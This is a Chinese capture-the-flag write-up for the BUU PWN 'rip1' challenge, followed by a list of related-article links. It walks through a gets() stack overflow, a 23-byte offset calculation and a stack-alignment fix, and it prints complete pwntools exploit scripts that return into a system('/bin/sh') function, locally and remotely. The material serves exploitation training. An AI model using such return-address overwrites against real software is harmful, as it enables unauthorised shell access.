1、下载附件后,运行是一个输入程序,IDA分析main函数,gets可溢出。

F5伪代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh] puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

2、在附近还有个fun函数,存在shell入口。

int fun()
{
return system("/bin/sh");
}

3、checksec查看无保护。

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
4、解法思路:只要对gets栈溢出,并修改函数ret的指针至fun函数即可。
5、在main函数下断点,单步执行,在到gets函数之前,记录栈顶和栈底地址。
rbp:0x7fffffffe7a0
rsp:0x7fffffffe790
参数起始位置:0x7fffffffe791

6、单步执行运行,输入任意字符,执行完函数。ret位置在0x7fffffffe7a8,也就是需要替换的return address位置。

7、所以这里的offset填充值=ret的位置-第一个参数开始位
0x7fffffffe7a8-0x7fffffffe791
也就是23个字节
手工尝试填充23*"A",观察栈填充情况,一直写覆盖原栈底值

8、在IDA中找到fun函数的开始位置:0x401186。这个值用来替换栈中原本的内容0x7ffff7e15d0a

9、写exp

from pwn import *

r = process('./pwn1')

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401186
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()

在本地可以执行,但是目标替换为远端就不行了

10、看到远端环境是ubuntu18.04,试过本地使用ubuntu18.04也不行。
11、在18.04执行exp后断点分析,最后停留语句在
movaps XMMWORD PTR [rsp+0x40],xmm0

12、movaps会判断是否16字节对齐,这里判断的rsp+0x40指针地址,差8字节对齐。
最后查询glibc版本2.27的system会有这样的判断,可以看到ubuntu18.04中glibc版本

在401186位置压入的rbp,只做堆栈保留,不影响对shell执行。所以这里可以跳过这次压栈,减掉后面栈中的8字节之差。
所以可以跳过rbp压栈或栈顶提升,直接在401187和40118A执行都可以
13、所以exp应该是这样
from pwn import *

r = remote("X.X.X.X",29395)

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401187
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()
14、远端执行成功拿到flag

BUU PWN RIP1 RET2CODE WRITEUP的更多相关文章

  1. BUU PWN hitcontraining_bamboobox

    本来想学习house of force,结果没用就直接做出来了...我用了三种方法来做这道题. 1.fastbins attack 2.unlink 3.house of force 可以改写got表 ...

  2. 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分

    ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...

  3. BUU pwn cn

    自己不细心,人家别的博客上写的明明没有那个冒号的,把linux命令好好学一学吧! nc后 ls 发现flag文件 cat就得到flag了

  4. 【wp】2021MAR-DASCTF_逆向

    昨天打完的MAR DASCTF,来复个盘~ 不过就re做了3/4然后有事提前开溜了hhh,拿了drinkSomeTea和replace的三血心满意足(蜜汁三血执念. 感觉这回的出题人好喜欢TEA啊(正 ...

  5. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  6. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  7. 【CTF】Pwn入门 XCTF 部分writeup

    碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...

  8. HGAME2021 week3 pwn writeup

    一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...

  9. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

  10. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

随机推荐

  1. [转帖]Windows下sc create命令行注册服务

    https://www.cnblogs.com/li150dan/p/15603149.html 如何将exe注册为windows服务,让其直接从后台运行 方法一:使用windows自带的命令sc,首 ...

  2. [转帖]1. awk基础,awk介绍,awk基本语法,直接使用action,打印列,初识列和行,\$0、\$NF、NF,基础示例,begin模式,end模式

    文章目录 前言 awk介绍 awk基本语法 直接使用action 打印列 初识列和行 \$0.\$NF.NF 基础示例 初识模式(begin end) 总结 友情链接 前言 本小节是awk基础入门课程 ...

  3. [转帖]浅析TiDB二阶段提交

    https://cloud.tencent.com/developer/article/1608073 关键内容说明: TiDB 对于每个事务,会涉及改动的所有key中,选择出一个作为当前事务的Pri ...

  4. [转帖]Kafka可靠性之HW与Leader Epoch

    <深入理解Kafka:核心设计与实现原理>是基于2.0.0版本的书 在这本书中,终于看懂了笔者之前提过的几个问题 准备知识 1.leader里存着4个数据:leader_LEO.leade ...

  5. [转帖]jmeter 使用beanshell 编写脚本

    目录 一.介绍 1.1 介绍 1.2 下载&启动 二.jmeter中创建beanshell脚本 三.jmeter与beanshell 数据交互 3.1 例子1 beanshell 将变量传给j ...

  6. Navicat For Redis 的学习与使用

    Navicat For Redis 的学习与使用 背景 周末在家看了几个公众号: 说到Navicat 16.2已经有了 Redis的客户端. 想着前段时间一直在学习Redis, 但是没有GUI的工具, ...

  7. [转帖]基于腾讯云微服务引擎(TSE) ,轻松实现云上全链路灰度发布

    https://my.oschina.net/u/4587289/blog/8570699 1.  概述 软件开发过程中,应用发布非常频繁,通常情况下,开发或运维人员会将系统里所有服务同时上线,使得所 ...

  8. CentOS测试yum update.

    我有一台centos7 1611 的机器 想着升级一下 简单进行测试 1. 操作系统的信息为: [root@CentOS1611 yum.repos.d]# uname -a Linux CentOS ...

  9. Linux应用程序下网络栈参数的简单整理

    somaxconn 该参数应该是决定一个服务能够同时处理多少个网络请求的核心参数. 一个程序能够支持多少个访问参数,是有两部分来决定, 第一部分是somaxconn ,第二部分是应用服务器启动时传递过 ...

  10. Mybatis 拦截器实现单数据源内多数据库切换 | 京东物流技术团队

    物流的分拣业务在某些分拣场地只有一个数据源,因为数据量比较大,将所有数据存在一张表内查询速度慢,也为了做不同设备数据的分库管理,便在这个数据源内创建了多个不同库名但表完全相同的数据库,如下图所示: 现 ...